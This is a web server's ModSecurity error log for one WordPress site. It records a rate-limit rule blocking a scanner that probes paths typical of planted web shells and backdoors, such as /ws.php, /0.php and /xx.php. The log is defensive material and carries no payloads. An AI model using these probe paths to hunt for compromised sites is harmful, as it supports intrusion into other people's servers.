[Sat May 23 20:51:35.166745 2026] [:error] [pid 44325:tid 44346] [client 4.213.99.137:1963] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/"] [unique_id "ahGi11gUQb4puB_2yV8lnQAAAZI"]
[Sat May 23 20:51:35.474493 2026] [:error] [pid 44325:tid 44328] [client 4.213.99.137:1491] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ahGi11gUQb4puB_2yV8lngAAAYA"]
[Sat May 23 20:51:35.754135 2026] [:error] [pid 44325:tid 44340] [client 4.213.99.137:1968] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ahGi11gUQb4puB_2yV8lnwAAAYw"]
[Sat May 23 20:51:36.026377 2026] [:error] [pid 44296:tid 44305] [client 4.213.99.137:1453] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ahGi2JdrUdFI6ijvMkmMQgAAAUc"]
[Sat May 23 20:51:36.314865 2026] [:error] [pid 44325:tid 44332] [client 4.213.99.137:1519] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ahGi2FgUQb4puB_2yV8loQAAAYQ"]
[Sat May 23 20:51:36.592483 2026] [:error] [pid 25876:tid 25902] [client 4.213.99.137:1943] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "ahGi2ASpWUCKPezIBJCt_AAAARg"]
[Sat May 23 20:51:36.863790 2026] [:error] [pid 25876:tid 25901] [client 4.213.99.137:1492] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "ahGi2ASpWUCKPezIBJCt_gAAARc"]
[Sat May 23 20:51:37.139540 2026] [:error] [pid 25876:tid 25879] [client 4.213.99.137:1972] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "ahGi2QSpWUCKPezIBJCt_wAAAQE"]
[Sat May 23 20:51:37.409776 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1924] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "ahGi2XTIgjSDhiZmvlXuwgAAAFU"]
[Sat May 23 20:51:37.693545 2026] [:error] [pid 44296:tid 44312] [client 4.213.99.137:1589] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.bod/.ll/"] [unique_id "ahGi2ZdrUdFI6ijvMkmMRAAAAU4"]
[Sat May 23 20:51:38.000150 2026] [:error] [pid 25876:tid 25900] [client 4.213.99.137:1546] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.bod/.ll/"] [unique_id "ahGi2QSpWUCKPezIBJCuAwAAARY"]
[Sat May 23 20:51:38.285361 2026] [:error] [pid 25876:tid 25897] [client 4.213.99.137:1981] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.bod/.ll/"] [unique_id "ahGi2gSpWUCKPezIBJCuBQAAARM"]
[Sat May 23 20:51:38.561650 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1556] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.bod/.ll/"] [unique_id "ahGi2nTIgjSDhiZmvlXuxAAAAEc"]
[Sat May 23 20:51:38.835433 2026] [:error] [pid 31039:tid 31042] [client 4.213.99.137:1964] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "ahGi2qIYDYo8WvA5zLJGRAAAAME"]
[Sat May 23 20:51:39.169125 2026] [:error] [pid 30941:tid 30979] [client 4.213.99.137:1516] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "ahGi23TIgjSDhiZmvlXuxQAAAEM"]
[Sat May 23 20:51:39.454300 2026] [:error] [pid 30942:tid 31023] [client 4.213.99.137:1946] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "ahGi29Uosz64YFiBlG11qAAAAJQ"]
[Sat May 23 20:51:39.781763 2026] [:error] [pid 44325:tid 44338] [client 4.213.99.137:1529] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "ahGi21gUQb4puB_2yV8lpAAAAYo"]
[Sat May 23 20:51:40.138041 2026] [:error] [pid 44325:tid 44345] [client 4.213.99.137:1558] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "ahGi3FgUQb4puB_2yV8lpQAAAZE"]
[Sat May 23 20:51:40.407265 2026] [:error] [pid 44325:tid 44343] [client 4.213.99.137:1584] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "ahGi3FgUQb4puB_2yV8lpgAAAY8"]
[Sat May 23 20:51:40.704127 2026] [:error] [pid 30942:tid 31007] [client 4.213.99.137:1975] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "ahGi3NUosz64YFiBlG11qQAAAIQ"]
[Sat May 23 20:51:41.056958 2026] [:error] [pid 44325:tid 44329] [client 4.213.99.137:1520] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "ahGi3VgUQb4puB_2yV8lqAAAAYE"]
[Sat May 23 20:51:41.334648 2026] [:error] [pid 44325:tid 44334] [client 4.213.99.137:1576] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap/function.php"] [unique_id "ahGi3VgUQb4puB_2yV8lqgAAAYY"]
[Sat May 23 20:51:41.636758 2026] [:error] [pid 44325:tid 44341] [client 4.213.99.137:1951] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap/function.php"] [unique_id "ahGi3VgUQb4puB_2yV8lqwAAAY0"]
[Sat May 23 20:51:41.908377 2026] [:error] [pid 44325:tid 44330] [client 4.213.99.137:1551] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap/function.php"] [unique_id "ahGi3VgUQb4puB_2yV8lrQAAAYI"]
[Sat May 23 20:51:42.179640 2026] [:error] [pid 30940:tid 30950] [client 4.213.99.137:1949] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap/function.php"] [unique_id "ahGi3pqUP2XZmzp7RDoM2wAAAAE"]
[Sat May 23 20:51:42.454390 2026] [:error] [pid 30942:tid 31003] [client 4.213.99.137:1545] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dvve.php"] [unique_id "ahGi3tUosz64YFiBlG11rAAAAIA"]
[Sat May 23 20:51:42.724094 2026] [:error] [pid 44325:tid 44340] [client 4.213.99.137:1501] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dvve.php"] [unique_id "ahGi3lgUQb4puB_2yV8lsAAAAYw"]
[Sat May 23 20:51:43.067075 2026] [:error] [pid 44325:tid 44332] [client 4.213.99.137:1286] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dvve.php"] [unique_id "ahGi31gUQb4puB_2yV8lsQAAAYQ"]
[Sat May 23 20:51:43.336870 2026] [:error] [pid 44325:tid 44336] [client 4.213.99.137:1958] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dvve.php"] [unique_id "ahGi31gUQb4puB_2yV8lswAAAYg"]
[Sat May 23 20:51:43.619101 2026] [:error] [pid 44326:tid 44379] [client 4.213.99.137:1983] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "ahGi38yrPrcAqE-FOKKgKQAAAdg"]
[Sat May 23 20:51:43.998043 2026] [:error] [pid 44326:tid 44377] [client 4.213.99.137:1336] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "ahGi38yrPrcAqE-FOKKgKgAAAdY"]
[Sat May 23 20:51:44.312165 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1531] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "ahGi4HTIgjSDhiZmvlXuyAAAAE8"]
[Sat May 23 20:51:44.626111 2026] [:error] [pid 25876:tid 25880] [client 4.213.99.137:1929] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "ahGi4ASpWUCKPezIBJCuBwAAAQI"]
[Sat May 23 20:51:45.016384 2026] [:error] [pid 25876:tid 25894] [client 4.213.99.137:1571] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ahGi4QSpWUCKPezIBJCuCQAAARA"]
[Sat May 23 20:51:45.315938 2026] [:error] [pid 44326:tid 44376] [client 4.213.99.137:1497] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ahGi4cyrPrcAqE-FOKKgLQAAAdU"]
[Sat May 23 20:51:45.628047 2026] [:error] [pid 44325:tid 44333] [client 4.213.99.137:1287] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ahGi4VgUQb4puB_2yV8ltwAAAYU"]
[Sat May 23 20:51:46.036065 2026] [:error] [pid 44325:tid 44345] [client 4.213.99.137:1536] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ahGi4lgUQb4puB_2yV8luQAAAZE"]
[Sat May 23 20:51:46.324959 2026] [:error] [pid 44325:tid 44329] [client 4.213.99.137:1490] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ahGi4lgUQb4puB_2yV8lugAAAYE"]
[Sat May 23 20:51:46.599024 2026] [:error] [pid 30942:tid 31018] [client 4.213.99.137:1568] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ahGi4tUosz64YFiBlG11sQAAAI8"]
[Sat May 23 20:51:46.872657 2026] [:error] [pid 44325:tid 44349] [client 4.213.99.137:1511] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ahGi4lgUQb4puB_2yV8lvAAAAZU"]
[Sat May 23 20:51:47.152014 2026] [:error] [pid 44325:tid 44330] [client 4.213.99.137:1923] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ahGi41gUQb4puB_2yV8lvQAAAYI"]
[Sat May 23 20:51:47.422116 2026] [:error] [pid 31039:tid 31041] [client 4.213.99.137:1573] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "ahGi46IYDYo8WvA5zLJGXQAAAMA"]
[Sat May 23 20:51:47.748053 2026] [:error] [pid 44325:tid 44340] [client 4.213.99.137:1543] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "ahGi41gUQb4puB_2yV8lvwAAAYw"]
[Sat May 23 20:51:48.019313 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1977] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "ahGi5HTIgjSDhiZmvlXuyQAAAFU"]
[Sat May 23 20:51:48.293540 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1315] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "ahGi5HTIgjSDhiZmvlXuygAAAFg"]
[Sat May 23 20:51:48.627034 2026] [:error] [pid 44296:tid 44310] [client 4.213.99.137:1554] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "ahGi5JdrUdFI6ijvMkmMSgAAAUw"]
[Sat May 23 20:51:48.953775 2026] [:error] [pid 44296:tid 44321] [client 4.213.99.137:1552] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "ahGi5JdrUdFI6ijvMkmMSwAAAVc"]
[Sat May 23 20:51:49.261804 2026] [:error] [pid 44296:tid 44303] [client 4.213.99.137:1409] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "ahGi5ZdrUdFI6ijvMkmMTQAAAUU"]
[Sat May 23 20:51:49.537353 2026] [:error] [pid 44296:tid 44302] [client 4.213.99.137:1953] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "ahGi5ZdrUdFI6ijvMkmMTwAAAUQ"]
[Sat May 23 20:51:49.825022 2026] [:error] [pid 30940:tid 30961] [client 4.213.99.137:1178] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "ahGi5ZqUP2XZmzp7RDoM3QAAAAw"]
[Sat May 23 20:51:50.165021 2026] [:error] [pid 30942:tid 31007] [client 4.213.99.137:1548] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "ahGi5tUosz64YFiBlG11swAAAIQ"]
[Sat May 23 20:51:50.439511 2026] [:error] [pid 30942:tid 31011] [client 4.213.99.137:1325] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "ahGi5tUosz64YFiBlG11tQAAAIg"]
[Sat May 23 20:51:50.710735 2026] [:error] [pid 30942:tid 31003] [client 4.213.99.137:1559] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "ahGi5tUosz64YFiBlG11twAAAIA"]
[Sat May 23 20:51:50.988460 2026] [:error] [pid 30942:tid 31027] [client 4.213.99.137:1291] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "ahGi5tUosz64YFiBlG11uAAAAJg"]
[Sat May 23 20:51:51.258997 2026] [:error] [pid 44325:tid 44328] [client 4.213.99.137:1566] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "ahGi51gUQb4puB_2yV8lwAAAAYA"]
[Sat May 23 20:51:51.531781 2026] [:error] [pid 44296:tid 44317] [client 4.213.99.137:1540] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "ahGi55drUdFI6ijvMkmMVAAAAVM"]
